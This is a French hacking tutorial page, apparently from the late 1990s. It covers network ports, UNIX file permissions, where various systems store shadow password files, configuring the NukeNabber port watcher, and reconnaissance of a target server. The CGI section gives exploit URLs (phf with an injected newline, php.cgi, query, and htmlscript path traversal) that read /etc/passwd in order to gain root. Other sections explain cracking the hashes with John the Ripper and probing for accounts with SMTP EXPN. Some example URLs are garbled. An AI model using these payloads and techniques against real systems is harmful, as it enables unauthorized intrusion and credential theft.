Partie 2

14° 

Les ports

15° 

Les Firewalls

16° 

Les droits sous UNIX

17° 

Les Passwords shadows

18° 

NukeNabber et Port Watchers

19° 

Cgi-bin et Scripts

20° 

Cerner une cible

21° 

Pièges à éviter

22° 

Structure d'un fichier passwd UNIX

23°

SunOs 4.1 Shadows

24° 

LINUX

25° 

Installation de Linux

26° 

Effacer ses traces

27° 

NFS

28° 

NIS

29°

Backdoors

30°

D.O.S. (denial of service)

Les Ports :

Les ports sur une machine sont des entrées sur votre pc qui vous permettent d'échanger des informations dans un sens ou dans un autre avec une autre machine. Sur Internet vous pouvez échanger énormément de données par plusieurs ports différents à plusieurs machines. Chaque port a ses caractéristiques, l'un permet de lire le courrier, l'autre permet de communiquer par icq, un autre permet de télécharger des fichiers... Il existes plusieurs centaines de ports différents sur une machine, je vous mettrais plus bas une liste des ports que je j'essaierais de détailler le plus possible. Bref, vous l'aurez compris, les ports sont indispensable à l'échange d'informations par internet, cependant, comme ils constituent les seules entrées existantes vers votre pc, c'est par la que les hackers pénètrent dans votre machine et réciproquement, c'est par ces ports que vous vous infiltrerez dans un serveur ou n'importe quel ordinateur.

Certain vous dirons sûrement quelque chose, comme le port 21 qui est celui du ftp , le port 23 est aussi assez connu puisque c'est celui du telnet et aussi  l'entrée favorite de la majorité des troyens (d'où le nom Socket23), le port 25 appelé SMTP permet d'envoyer du courrier et le port 110 (POP), permet de relever celui ci. J'en énumère la majorité en dessous:



 

Nom des ports:

N° du port et protocole:

tcpmux
compressnet
compressnet
rje
echo
discard
systat
daytime
netstat
qotd
msp
chargen
ftp-data
ftp
telnet
smtp
nsw-fe
time
rlp
name
whois
domain
nameserver
mtp
bootp
tftp
gopher
rje
finger
http
link
supdup
hostnames
iso-tsap
dictionary & x400
x400-snd
csnet-ns
pop & pop2
pop3
portmap
sunrpc
auth
sftp
path
uucp-path
nntp
ntp
nbname
nbdatagram
nbsession
NeWs
sgmp
tcprepo
snmp
snmp-trap
print-srv
vmnet
load
vmnet0
systek
biff
exec
login
who
shell
syslog
printer
talk
ntalk
efs
route
timed
tempo
courier
conference
rdv-control
netwall
uucp
klogin
kshell
new-rwho
remotefs
rmonitor
monitor
garcon
maitrd
busboy
acctmaster
acctslave
acct
acctlogin
acctprinter
elcsd
acctinfo
acctslave2
acctdisk
kerberos
kerberos_master
passwd_server
userreg_server
kreb_prop
erlogin
kpop
phone
ingreslock
maze
nfs
knetd
eklogin
rmt
mtb
military http
man
w
mantst
bnews
rscs0
queue
rscs1
poker
rscs2
gateway
rscs3
remp
rscs4
rscs5
rscs6
rscs7
rscs8
rscs9
rscsa
rscsb
qmaster

1/tcp & 1/udp
2/tcp & 2/udp
3/tcp & 3/udp
5/tcp & 5/udp
7/tcp & 7/udp
9/tcp & 9/udp
11/tcp
13/tcp
15/tcp (n'existe plus il me semble)
17/tcp & 17/udp
18/tcp & 18/udp
19/tcp & 19/udp
20/tcp
21/tcp
23/tcp
25/tcp
27/tcp & 27/udp
37/tcp & 37/udp
39/udp
42/tcp & 42/udp
43/tcp
53/tcp & 53/udp
53/tcp & 53/udp
57/tcp
67/udp
69/udp
70/tcp
77/tcp
79/tcp
80/tcp
87/tcp
95/tcp
101/tcp
102/tcp
103/tcp
104/tcp
105/tcp
109/tcp
110/tcp
111/tcp & 111/udp
111/tcp & 111/udp
113/tcp
115/tcp
117/tcp
117/tcp
119/tcp
123/udp
137/udp
138/udp
139/tcp
144/tcp
152/udp
158/tcp
161/udp
162/udp
170/tcp
175/tcp
315/udp
400/tcp
500/udp
512/udp
512/tcp
513/tcp
513/udp
514/tcp
514/udp
515/tcp
517/udp
518/udp
520/tcp
520/udp
525/udp
526/tcp
530/tcp
531/tcp
531/udp
532/tcp
533/udp
540/tcp
543/tcp
544/tcp
550/udp
556/tcp
560/udp
561/udp
600/tcp
601/tcp
602/tcp
700/udp
701/udp
702/udp
703/udp
704/udp
705/udp
706/udp
707/udp
750/tcp & 750/udp
751/tcp & 751/udp
752/udp
753/udp
754/tcp
888/tcp
1109/tcp
1167/udp
1524/tcp
1666/udp
2049/udp
2053/tcp
2105/tcp
5555/tcp
5556/tcp
5580/tcp
9535/tcp
9536/tcp
9537/tcp
10000/tcp
10000/udp
10001/tcp
10001/udp
10002/tcp
10002/udp
10003/tcp
10003/udp
10004/tcp
10004/udp
10005/udp
10006/udp
10007/udp
10008/udp
10009/udp
10010/udp
10011/udp
10012/tcp & 10012/udp

Comme vous pouvez le voir c'est une liste assez exhaustive, il y en a que je n'ai pas mis car je ne sais pas à quoi ils servent, il doit en exister plusieurs milliers je pense. Je sais qu'il y en a aussi vers les 31000 et quelques mais bon, c'est pas les plus utilisés et ils risquent rarement d'être ouvert. Malgré ça si vous en connaissez d'autres en détail que je n'ai pas cité vous pouvez toujours me contacter.

Bref je vois pas trop quoi dire d'autre sur les ports sinon que si les vôtres sont tous fermés, vous n'avez aucune chance, mais alors aucune, de vous faire hacker. Ceci est valable bien sur si votre disque est saint, c'est sur que si vous êtes infecté par au minimum un troyen ou si vous avez une bombe logique camouflée quelque part dans votre ordinateur, vous risquez d'avoir certains problèmes vu qu'un programme comme un troyen a comme but premier d'ouvrir un port pour que vous puissiez entrer et faire ce que vous y voulez.
 



Les FireWalls :
 



Les droits sous UNIX :

Sous Unix, tous les fichiers et les répertoires ont des paramètres qui ne sont définissables que par le root et qui permettent de limiter leur accès. Suivant la personne que vous êtes et les droit qui vous sont alloués par le root, vous aurez un droit de faire plus ou moins de choses dans la bécane où vous êtes. Les différents droits sont regroupés en trois catégories, le droit d'écriture, de lecture et d'exécution.
Le premier droit (write: w) permet de supprimer et de créer un fichier ainsi que de le modifier, de le renommer ou de le déplacer. Le deuxième (read: r) permet de le lire (code source et autre), quand au troisième (execute: x), il permet comme son nom l'indique d'exécuter des programmes.
Chacun de ces droits est attribué ou non à chaque personne sur la bécane. Chaque personne est placée dans un des trois groupes suivants: propriétaire, membre du même groupe que le propriétaire, personne extérieure.
Ils sont représentés de la manière suivante quand vous faites un "ls -1" (comme dir sous dos):
 
 

 l 

 r w x

r - x

- - - 

 0 

 assassin 

 1050 

 15/03/99 

 17:34 

 hacking 

1

2a

2b

2c

3

4

5

6

7

8

Tableau d'équivalence :
 

1

Indique la nature du fichier. d = répertoire ; l = fichier ; 

2a 

Les droits du propriétaire du fichier: dans cet exemple, il a tous les droits ( r + w + x ).

2b 

Les droits d'une personne appartenant au même groupe que la propriétaire du fichier: 
dans cet exemple il ne peut que lire et exécuter le fichier (r + x). 

2c

Les droit d'une personne étrangère au groupe: dans cet exemple elle n'a aucun droit:
le "-" dit qu'il n'a pas de droit. Elle a des "-" en lecture, en écriture et en exécution, elle n'a donc pas de droit.

3

Le propriétaire du fichier. 0 = root ; 1 = bin ; 2 = daemon ; 3 = adm ; 4 = lp ; 5 = sync ; ... ; 99 = nobody .
Mais tout ceci change en fonction des choix de l'administrateur système puisque c'est paramètrable.

4

C'est le nom du groupe dont fait parti le propriétaire du fichier.

5

Taille du fichier (en Ko).

6

La date de la dernière modification ou lecture.

7

L'heure de la dernière modification ou lecture.

8

Le nom du fichier ou du répertoire (selon ce qui est écrit au 1)

Donc dans l'exemple du dessus vous voyez qu'il sagit d'un fichier nommé hacking crée le 15 mars 99 à 17H34 par le root qui appartient au groupe assassin (mais pas sûr qu'il fasse du rap ;-) ). Le fichier fait 1050 Ko, il peut être lu, changé, déplacé, supprimé, renommé, exécuté par le propriétaire. Une personne faisant, comme le root, partie du groupe assassin peut, elle, que lire et exécuter le fichier. Une personne extérieure au groupe ne pourra rien faire avec ce fichier.

Bien sûr quand vous faites un ls -1 il y a la plupart du temps plus qu'un fichier ou qu'un répertoire qui s'affiche mais la règle reste la même.
 


Les Passwords Shadows :

Joli nom n'est ce pas? Ouais mais ce n'est pas là que pour faire joli en fait. Vous vous en doutiez je suppose vu que les passwords c'est généralement fait pour autoriser un accès aux seuls autorisés et le restreindre ou le barrer pour les autres. Si vous savez pas ce qu'est un système Unix, c'est pas la peine de lire cet article. Bon pour les autres, vous savez que pour se faire root sur une bécane sous unix il faut connaître le login et le pass du root (et oui c'est quand même rare que le root ait gardé le même login). Ces informations étaient gardées dans un fichier appelé passwd qui se trouvait dans le répertoire /etc. Alors c'était facile car une fois ce fichier trouvé il suffisait de le passer à Jack ou à John (cracker Jack ou John the ripper) et avec ses bibliothèques de mots, il moulinait jusqu'à trouver le bon et hop le pass était trouvé (bah oui fallait bien le décrypter).

Maintenant avec les pass shadowés (ou shadows, chacun y verra son vocabulaire), les fichiers password ne se trouvent plus dans le fichier /etc. Et oui, c'était trop facile. Reste que si vous trouvez ce fichier, vous pouvez toujours utiliser Jack ou John, ça marche toujours. Bien sûr il faut avoir les bonnes bibliothèque et plus on en a mieux c'est.

Où trouver ce fameux password shadow alors? Et ben en fait il faudra que vous vous renseigniez sur le type d'OS sur lequel vous êtes (normal quoi) et quand vous saurez duquel il sagit, il ne suffira plus qu'à aller à la pèche aux infos le concernant. Et pour cela on se reporte au beau tableau que j'ai fait en dessous. Je vous rassure, toutes les infos mises dans ce tableau n'ont pas tous été collectés par moi (loin de là même, merci aux alt2600 d'avoir fait une FAQ), mais elles sont là et c'est quand même le principal non?
 
 

OS et versions :

location du fichier contenant les passwords :

AIX 3

/etc/security/passwd
ou     /tcb/auth/files/1ère lettre du login/login

A/UX 3.Os

/tcb/files/auth/?/

BSD4.3-Reno

/etc/master.passwd

ConvexOS 10

/etc/shadow

Convex0S 11

/etc/shadow

DG/UX

/etc/tcb/aa/user

EP/IX

/etc/shadow

HP-UX

/.secure/etc/passwd

IRIX 5

/etc/shadow

Linux 1.1

/etc/shadow

OSF/1

/etc/passwd/[.dir|.pag]

SCO Unix #.2.x

/tcb/auth/files/1ère lettre du login/login
Exemple: /tcb/auth/files/r/root

SunOS 4.1+c2

/etc/security/passwd.adjunct

SunOS 5.0

/etc/shadow

System V 4.0

/etc/shadow

System V 4.2

/etc/security

Ultrix 4

/etc/auth/[.dir|.pag]

UNICOS

/etc/udb

Bah voilà c'est tout ce que j'ai, je me rend bien compte que ça fait pas grand chose mais à mon avis ça sera plus que suffisant pour vous amuser plus que quelque temps. Ah oui, dernière chose, pour savoir si un pass est shadow, il suffit d'aller dans le répertoire où il serait s'il n'était pas shadow et de regarder si il y a un X (sous un browser normal) ou une *(en mode console UNIX, de Linux par exemple).

La plupars du temps les systèmes ayant des pass shadows (UNIX) ont gardé leur /etc/passwd mais celui ci ne vous sera d'aucune utilité ou presque vu que tous les users inscrits dedans seront désactivés. Cela ne veut pas dire que, si un user a le login "RhylKim" dans le fichier passwd d'une bécane ayant ses pass shadows, le login "RhylKim" n'existe pas et bien au contraire il se peut très bien que ce soit encore l'un des logins autorisés (pas obligé, ce login ne peut être qu'un piège ou un ancien login non effacé mais désactivé). Le problème est que sur UNIX quand un login est désactivé, on remplace l'endroit où devait se trouver le pass crypté par une * (si on matte le passwd depuis un UNIX) ou un X (si on le matte depuis un browser). Et les pass shadows reprennent le même principe puisque qu'un fichier passwd du repertoire /etc (toujours si le bécane a ses pass shadows) aura tous les logins suivis d'une * et non du pass crypté. Donc si vous arrivez (par exemple depuis un cgi) à matter le /etc/passwd vous pouvez voir s'il a des pass shadows avec les *, et après, en fonction de l'OS, matter le fichier contenant les passwords (grâce à la liste ci dessus). Entendons nous bien, si le /etc/passwd contient des étoiles mais au moins un login suivit d'un password, la bécane n'aura pas de pass shadows donc ne perdez pas de temps à chercher le fichier coneant les pass shadows, il n'existera pas et s'il existe c'est qu'il a servi mais qu'il ne sert plus (ou pour vous pièger mais là je vois pas bien en quoi).

Une dernière chose, les serveurs tournants sur AIX d'IBM peuvent ne pas avoir de croix mais des # ou des ! alors ne vous étonnez pas non plus.
 


NukeNabber et Port Watchers :

NukeNabber est un port watcher, c'est à dire que c'est un programme qui a pour fonction de fermer vos ports d'écouter ce qui passe dessus. Ca permet de savoir à tout moment si quelqu'un essaye de rentrer sur votre machine, de vous nuker, de scanner vos ports, de vous flooder, d'ouvrir une session ftp, ... De plus ça vous donne l'ip du mec qui veut rentrer. :-) Ce programme est donc indispensable pour votre sécurité et il est disponible sur ce site dans la partie progs.

J'ai pas fais un article pour vous expliquer ça, sinon ça va servir à qui? C'était juste un interlude. Ce que je vais vous expliquer ici, c'est comment le paramètrer. Parce que les paramètres de bases sont très insuffisants pour vous garantir une bonne sécurité. Il ne faut rentrer dans NukeNabber que les ports qui sont indispensables, car même si vous pouvez en mettre jusqu'à 50, les mettre tous ralentirait votre connection. De plus en écoutant certains ports comme les ports 27, 28 et 29 par exemple qui sont actuellement utilisé, NukeNabber vous marque "Port 29 (tcp) is already in use" et là ça sert à rien car non seulement personne ne pouvait passer par là avant du fait qu'une autre application passait par ce port mais en plus ça bloquera l'application. Vous voulez essayer? Mettez le port 29/tcp sous écoute et vous verrez ce que Netscape va vous dire quand vous essaierez de vous connecter à mon site (ou à n'importe quel site sur Internet, mais ça vous donnera une excuse pour revenir. Il en faut une?! ;-) )...

A ouais mais pour cela il faudrait que vous sachiez comment mettre tel ou tel port sous écoute. Vous allez dans File, options, advanced. Vous allez dans la listes des ports watchés et vous faites descendre l'ascenseur jusqu'à ce que vous voyez un "unassigned", cliquez dessus, puis mettez le numéro du port dans "port to monitor" et le protocole dans "protocol". Les protocole c'est tcp, udp ou tcmp. Tout ça c'est affaire de réseaux, j'expliquerait plus tard à quoi ça correspond et ce qui différencie les paquets arrivants de ces différents réseaux. Après appuyez sur "Add" et voilà, le port est watché. Il sera sous écoute dès que vous appuierez sur Ok. Utilisez les options de ports par défaut.

Les différents ports dangereux à écouter sont les suivants. J'explique aussi pourquoi chaque port est dangereux. Sachez qu'en règle générale si vous ne fermez pas ces ports vous êtes à 100% exposé au risque d'être nuké, floodé et votre pc de se transformer en serveur ftp ou telnet pour troyens.
 

Numéro des ports à watcher:

Protocole:

Type d'attaque possible par ce port:

0

icmp

Bonne question, du genre troyen mais sans taupe
alors fermez ce port, c'est l'un des plus dangereux.

19

udp

 

21

tcp

Troyen (et ouais c'est ftp les mecs)

23

tcp

Troyen (et ça c'est telnet, sans commentaire)

53

tcp

 

59

tcp

Nuker, Flooder

129

tcp

 

137

tcp

Nuker, Flooder (netbios)

138

tcp

 

139

tcp

Nuker, Flooder (encore le netbios)

666

tcp

Troyen (par défaut celui de peur2rien)

1027

tcp

 

1029

tcp

 

1032

tcp

 

5000

tcp

Troyen (par défaut celui du Sockets de troie)

5001

tcp

Troyen (Sockets de troie aussi)

12345

tcp

Troyen (par défaut celui de Netbus)

12346

tcp

Troyen (Netbus aussi)

30303

tcp

Troyen (je me souviens plus lequel)

31337

tcp

Troyen (par défaut celui de Back Orifice)

Les ports où je n'ai pas mis d'attaque possible c'est pas parce qu'il n'y en a pas de possible, sinon, je ne les aurais pas mis dans ce tableau. Ce sont soit les ports donnés par défaut par Nukenabber, donc même si je sais pas ce que l'on risque, vaut mieux les mettre quand même. Soit des ports que j'avais sécurisé sur mon NukeNabber il y a pas mal de temps et dont je ne sais plus les risques possibles. Mais comme je ne met pas les ports au hasard, mettez les aussi, ce n'est pas du tout du superflu.

Je vous conseille également de lancer NukeNabber à chaque fois que vous vous connectez sur le net. Sur ma bécane il est lancé à chaque démarrage en même temps que l'antivirus. Pour qu'il se lance à chaque fois que le pc s'allume mettez un raccourcit vers NukeNabber dans le répertoire démarrage du menu démarrer de Windows.


Cgi-bin et Scripts... :

Le titre ne vous dira peut-être rien, d'ailleurs, j'aurais pas écris l'article je n'en aurais pas la moindre idée non plus. ;-) On va prendre un exemple pour expliquer le titre alors. Vous avez sûrement remarqué quand vous allez dans un site un "cgi-bin" au niveau de l'url. Il y en a très souvent dans les moteurs de recherche. Alta Vista en est d'ailleurs un très bon exemple. Vous allez sur alta vista et vous tapez hacking et choisissez la langue française, lancez la recherche. L'url de la page deviendra la suivante: "http://www.altavista.com/cgi-bin/query?pg=q&kl=fr&q=hacking&search=Search"

Vous l'avez vu le cgi? Bah voilà, c'est ça. En gros c'est un programme écrit en pearl ou en c (ou en d'autres langages mais je n'ai entendu parler que de ceux en pearl et en c) qui permet des accès à l'intérieur du serveur par mot clé. Certaines séries de lettres représentent des touches tapées comme "Enter" par exemple. Ce qui fait qu'en mettant une adresse on exécute un programme, qui, s'il est buggé (plutôt si nous connaissons le bug ;-), car bug il y a toujours), agira en fait comme un outil de recherche genre "explorateur windows". Un cgi peut vraiment faire beaucoup de choses: recherche de fichiers, compteur de visites, animations, ... Et son utilisation dans les sites est très répandu vu qu'il a à peu près le même potentiel qu'un script Java. Sacré potentiel n'est ce pas?

Ci-dessous différentes manières d'exploiter ces bugs pour devenir root ou pour faire d'autres truc sympa juste avec Netscape. Même pas besoin de Linux, c'est pas fort ça? Juste d'un petit crack jack, enfin, je vous refais pas un cours.

Pfs:
Des filtres pas très au point sur certaines requêtes permettent d'accéder au fichier contenant le password root sur les serveur tournant sous NCSA (version inférieure ou égale à 1.5 ) et sous apache (versions inférieures à 1.0.5):

http://url_du_site/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Exemple: http://www.assassin.com/cgi-bin/phf?Qalias=x%0a/bin%20/etc/passwd

Pfs(un autre bug):
Idem mais là, la commande change vraiment très peu et ça ne marche pas que sur ceux énumérés au dessus:

http://url_du_site/cgi-bin/phf?Qname=x%0a/bin/cat%20/etc/passwd
Exemple: http://www.assassin.com/cgi-bin/phf?Qname=x%0a/bin%20/etc/passwd

Php:
Même chose que ci-dessus sauf que c'est avec php. La syntaxe n'est pas la même mais le résultat est identique, on a le pass root:

http://url_du site/cgi-bin/php.cgi?/etc/passwd
Exemple: http://www.assassin.com/cgi-bin/php.cgi?/etc/passwd

Php(un autre bug):
Idem mais là, la commande change vraiment très peu:

http://url_du site/cgi-bin/php?/etc/passwd
Exemple: http://www.assassin.com/cgi-bin/php?/etc/passwd

Query:
Là c'est encore la même chose mais ça marche avec query:

http://url_du site/cgi-bin/query?%0a/bin/cat%20/etc/passwd
Exemple: http://www.assassin.com/cgi-bin/query?%0a/bin/cat%20/etc/passwd

Htmlscript:
Là aussi ça sert à devenir root en trouvant le pass root, le tout est de savoir où se trouve le répertoire /etc par rapport au cgi-bin. Si vous connaissez un peu l'arborescence des répertoires sous UNIX vous ne devriez pas avoir trop de problème à vous repérer, surtout que vous n'êtes pas obligé de mettre /etc/passwd mais par exemple: /usr/rhylkim, sous peine bien sûr que le fichier rhylkim et le répertoire /usr éxistent.

http://url_du_site/cgi-bin/htmlscript?../../etc/passwd
Exemple: http://www.assassin.com/cgi-bin/htmlscript?../../../etc/passwd

Dans cet exemple il sagissait de redescendre à la racine là où se trouve le répertoire /etc et pour cela on est descendu de trois niveaux vu que dans cet exemple, le cgi-bin se trouvait dans le répertoire: /web/info/revelation. Mais ce n'est qu'un exemple. Le cgi-bin pourrait très bien se trouver dans le répertoire: /bin/rhylkim et on aurait été obligé de faire: http://www.assassin.com/cgi-bin/htmlscript?../../etc/passwd.

Dans quel cas les cgi phf et autrs scripts ne servent à rien? Si le serveur a ses pages web transistant par le port 8000, 8001 ou 8080 ca ne sert à rien d'essayer car même si les bug des cgi sont présents, vous ne pourrez pas acceder au répertoire contenant le fichier passwd. En effet le http passe le plus courement par le port 80 mais le port 8080 est aussi très souvent utilisé notamment pour ce qui concerne les proxy. Les ports 8000 et 8001 sont assez peu utilisé mais que cela ne vous etonne pas si vous eombez dessus. Vous pouvez recupérer le passwd avec les cgi si le http passe par le port 80 car c'est un port privilégié et les 8080, 8000 et 8001 ne le sont pas. Un port privilégié signigie que seul le root ou une personne loguée en tant que root (su) peut l'utiliser ou utiliser des programmes faisant transiter des paquets par celui ci. Pour savoir si un serveur a son http sur le port 80 ou autres c'est assez simple, mettez ":n°_du_port" apres son DNS.

Exemple: si le serveur a son http à l'adresse http://www.assassin.com/, faites http://www.assassin.com:80/ et si la page reste la même il est sur le port 80. Bien sur si vous obtenez une page vide avec des mots comme "not found" genre ce que l'on trouve en faisant http://www.fbi.gov:8080/ ou une page non attribuée (faites le même serveur mais avec le port 8000) c'est que le http ne se trouve pas sur le port que vous avez demandé.

Bien sûr je n'ai pas tout à fait raison quand je vous dis que les scripts cgi ne servent à rien si le http n'est pas lancé en root. Cela pourra toujours vous donner un acces user sur la bécane si le bug est présent. Et on ne devient pas toujours root tout de suite (et même loin de là) et l'acces user est toujours plus important qu'un acces en anonymous surtout que si l'account de cet user a servi au http il a peut être servi à autre chose. Mais il se peut aussi que cet account soit stérile car l'admin a très bien pu utiliser un port différent du 80 par mesure de sécutité et donc a prévu le fait que l'account sous lequel il a lancé le http soit hacké par la suite.

Voilà, c'est tout, j'en ai encore une petite dizaine mais ce sera pour un autre jour car ce sont essentiellement des scripts. Pour tous les exemples précédents, il sagissait de serveurs n'ayant pas de pass shadows. Si vous voulez exploiter ces bugs avec une machine ayant des pass shadows (la plupart d'ailleurs) il faudra pour cela remplacer /etc/passwd par le répertoire et le fichier pass correspondant suivant le type de serveur attaqué. Pour connaître les correspondances suivant l'OS du serveur, allez à l'article: Passwords shadows.
 


Cerner une cible :

Pour combattre un ennemi il faut le connaître. C'est pareil pour un hack, il va falloir obtenir un certain nombre de renseignements (le plus possible d'ailleurs) sur la machine que l'ont veut hacker, on va l'appeler la machine "cible". Pour celà on dispose de pas mal d'outils. Tous ne s'appliqueront pas à toutes les machines car leur niveau de sécurité diffère et certains se révéleront inefficaces. J'ai parlé de pas mal de ces outils dans différents articles de ce site donc je ne reparlerais pas de ceux la, je les citerais juste et ferais un lien vers l'article correspondant. Mais ne vous inquiétez pas je donnerais suffisamment d'infos pour que vous compreniez et que vous puissiez commencer à expérimenter un peu.

Là on ne parle pas de hack foireux à la BO (Back Orifice) ou avec quelques autres taupes et troyens. Là c'est du hack de serveurs qu'il sagit et plus du pc de grand mère sous win9X. Les risques commencent véritablement pour vous ici mais comme j'imagine que vous en êtes conscience, on va commencer.

Dans cet article je ne donne pas d'adresse précise de serveur comme j'ai fais pour le hack par ftp car ça redonnerait encore lieu à des abus. Donc le serveur sera celui de la boite "assassin" et son adresse DNS (domain name service) sera http://www.assassin.com/. Toutes les manip que j'expliquerais dans cet article seront réalisées sous windows mais se font très bien (j'ai entendu mieux dans la salle?) sous linux seulement les commandes diffèrent et je ne les expliquerais pas ici. Je vais revenir rapidement sur les différences entre les adresses ip, DNS et URL. Tous les serveurs ont une adresse ip (et ouais car la définition d'un serveur c'est un ordinateur connecté à un réseau et à d'autres ordinateurs qui peuvent consulter celui la) sauf quand ils ne sont pas connectés. Pour la définition précise d'une adresse ip je vous reporte à l'article que j'ai écrit dessus. Une adresse DNS est une adresse du type: http: ... . J'écrit pas www car ça dépend des adresses DNS il y en a qui n'ont pas DNS mais qui commencent par autre chose genre http://perso.infonie.fr ou par ww2 ou www3 ... C'est vrai que c'est plus facile à retenir www.assassin.com que 167.34.217.65. Pour obtenir une adresse DNS, la société à qui appartient le serveur doit débourser une somme comprise entre 500 et 1000 Frs à un organisme chargé d'attribuer ces adresses et qui fait gaffe à ce que deux serveurs différents n'en utilisent pas deux identiques. Enfin une adresse URL c'est les deux choses citées au dessus. On parle d'adresse URL en pour spécifier à quelqu'un que c'est bien de l'adresse d'un serveur par le port 80 (port utilisé pour le www, les pages web quoi) dont on parle et non d'une adresse E mail. Alors quand on demande l'url d'un site généralement on vous donne l'adresse DNS mais on pourrait très bien vous donner son ip ca ne changerait rien pour vous. Car bien sur si vous tapez l'ip d'un serveur dans netscape ou son adresse DNS vous arriverez aux mêmes pages. Sous réserve bien sûr que ce serveur ait bien un site web.

Maintenant que ceci est éclairci on va en revenir au coeur de notre affaire. Avec une adresse DNS on ne peut pas faire grand chose, il va nous falloir l'adresse ip du serveur et pour ça on va faire un ping. Pour celà on tape sous dos:
ping -a www.assassin.com      et ça va vous donner son ip :-) ainsi que la qualité de la connection et la rapidité de la liaison mais ça on s'en fout un peu il faut dire.

Maintenant on va voir combien il y a de machines entre nous et le serveur assassin. Pour celà plusieurs méthodes. Ou vous utilisez un prog genre visual route (payant aux dernières nouvelles) ou neotrace ou d'autres encore ou alors on utilise une commande dos qui s'appelle tracert. Les progs je n'explique pas comment ils marchent, c'est super simple et ils ont l'avantage d'être graphique mais pour ceux qui préfèrent les lignes de texte, c'est l'option dos qu'il vous faut. D'ailleurs je l'explique rapidement et même si vous êtes un fan des programmes j'imagine que vous n'avez rien contre un peu de culture générale:
Donc sous dos vous allez taper:                tracert url_du_serveur
exemple:  tracert 167.34.217.65 ou tracert www.assassin.com (les deux marchent)
Si il y a marqué "host unreachable" c'est que vous avez mal recopié l'ip trouvée précédemment ou l'url ou que le serveur n'est plus connecté.
Toutes les machines se trouvant entre vous et le serveur ciblé se marqueront avec leur ip. Notez ça dans un coin ou faites une capture d'écran (Impr écran). La dernière ip marquée sera celle de la cible. Et si celle juste avant celle de la cible a les trois mêmes numéros que celle de votre cible c'est que la cible à laquelle vous tentez de vous attaquer est plus que probablement secure. Ca va être drôle. En langage de néophyte c'est qu'il y a une machine disposé sur le LAN (Un LAN est la ligne entre le réseau interne et le réseau externe) entre la machine cible et Internet et qui assure sa protection. C'est a dire que l'administrateur system a investi dans une machine (il peut y en avoir même plusieurs) qui ne sert qu'à la sécurité et a rien d'autre. C'est soit un firewall soit un routeur filtrant soit un bastion soit un bunker soit un garde-barrière soit une proxy ou je ne sais quelle autre saloperie de ce genre :-). Si une telle machine placée sur le LAN n'existe pas quand vous avez fait le tracert ce n'est pas pour cela qu'une protection du même type n'est pas incluse dans le serveur assassin lui même (c'est presque toujours le cas d'ailleurs) mais généralement c'est un indice assez fiable du niveau de sécurité d'un réseau.

Si vous avez lu l'article sur les ip vous savez que les trois premiers nombre d'une ip correspondent à un domaine et que le dernier nombre correspond a une machine de ce réseau. Dans cet exemple le domain est 167.34.217 puisque l'ip du serveur assassin est 167.34.217.65 et la machine est sur le "poste" 65. Dans la très grande majorité des cas (que dis je, la totalité) il y a plusieurs machines dans un même domaine et elle doit avoir un numéro de "poste" situé entre 0 et 255. Bien sûr il y a des domaines qui ont plus de 256 serveurs reliés entre eux et dans ce cas ils ont soit plusieurs domaines reliés à internet (c'est le cas d'aol qui en a des centaines qui commencent par 162, 171, 172,...) soit ont des sous réseaux à l'intérieur des domaines qui ne sont pas reliés directement à internet et qui utilisent des ip peut être déjà utilisées pas d'autre serveurs sur internet mais comme elles n'ont pas de connection directe à internet aucun problème ne se pose. Et si elles veulent se connecter quand même à internet elle s'y connectent à travers un proxy et prennent donc l'ip de ce proxy pour obtenir les réponses provenant de l'internet ou du réseau externe. Un proxy est un type de firewall qui transmet des requêtes entre un réseau interne et un réseau externe mais ne donne pas de contact direct entre deux machines (bah ouais sécurité oblige) et s'il y avait contact directe, la machine du sous réseau créerait un conflit d'ip car elle récupérait son ip de départ. Compliqué tout ça? Ce sera expliqué en détail dans l'article sur les firewalls. Ca vous rappelle pas quelque chose le fait de passer par un proxy qui fait changer l'ip? Et oui le spoofing! Arf la vie est belle quand même mais là c'est pas nous qui l'utilisons. Donc chassez ça de votre pensée sinon vous allez vous embrouiller pour la suite. Pour l'instant votre ip n'est pas spooffé mais ça viendra. :-)
 

Donc je disais que le serveur assassin devait être relié à d'autre machines de son sous réseau et ben pour le savoir on a plusieurs méthodes:
- La première c'est de prendre un programme qui s'appelle un scanner d'ip et de rentrer dedans l'ip du serveur assassin. Ca cherchera tous les serveurs ayant des ip contenus entre 167.34.217.0 et 167.34.217.255 puisque l'ip de la cible est 167.34.217.65. Le programme vous sortira plein (espérons) d'ip que vous noterez consciencieusement.
- La deuxième est d'utiliser une mine d'informations existant sur une grande partie des serveurs du monde reliés à internet et disponible à tous. Tous les serveurs ayant une adresse DNS (et les autres aussi peut être. Là je sais pas) doivent recenser un certain nombre d'infos comme le nombre de machines ayant accès à leur serveur, la taille (en nombre d'ip ou de machine) de leur domaine... Cette mine d'info est disponible par telnet ce qui veut dire qu'il va falloir lancer telnet. Il existe plusieurs serveurs qui fournissent ce genre d'infos et notamment Internic (whois.internic.net) et Netcraft (www.netcraft.com) mais on y reviendra en détail dans un autre article car les possibilités de cette recherche sont assez allucinantes. Sachez pour l'instant juste que ça existe.
- La troisième est de faire un expn sur un snmp d'une des bécanes du réseau. Et si celà vous renvoit une adresse mail sur un serveur différent mais d'un même domaine vous serez fixé. Je rappelle que le smtp c'est le port 25. Vous vous y connectez par win ou par linux et vous tapez :HELO nom du serveur (comme vu pour le remailer anonyme) puis une fois que celui ci vous aura salué à son tour vous ferez EXPN ROOT. Bien sûr il faut que le login ROOT existe car bien sûr le root n'a pas toujours le login root et même loin de là. Il se peut même que le login root n'est qu'un statut d'user. Essayez donc toujours EXPN ROOT et voyez ce que celà donne si ca met "login inconnu" essayez les autres login bâteau utilisés par les root tels que sysop, admin,... et puis si ça ne donne rien et que le serveur que vous attaquez a une page web vous pourrez essayer de chercher des infos sur les différents email sur ce site. Bien sûr le expn ne marche pas que pour le root mais pour n'importe quel user.
- La quatrième est de faire un nslookup sur un serveur mais cela ne marche que sous Linux. pour cela faites:  nslookup www.assassin.com (en mode console bien sûr)
- Le cinquième est de faire un dig. Toujours en mode console sous Linux: dig www.assassin.com.
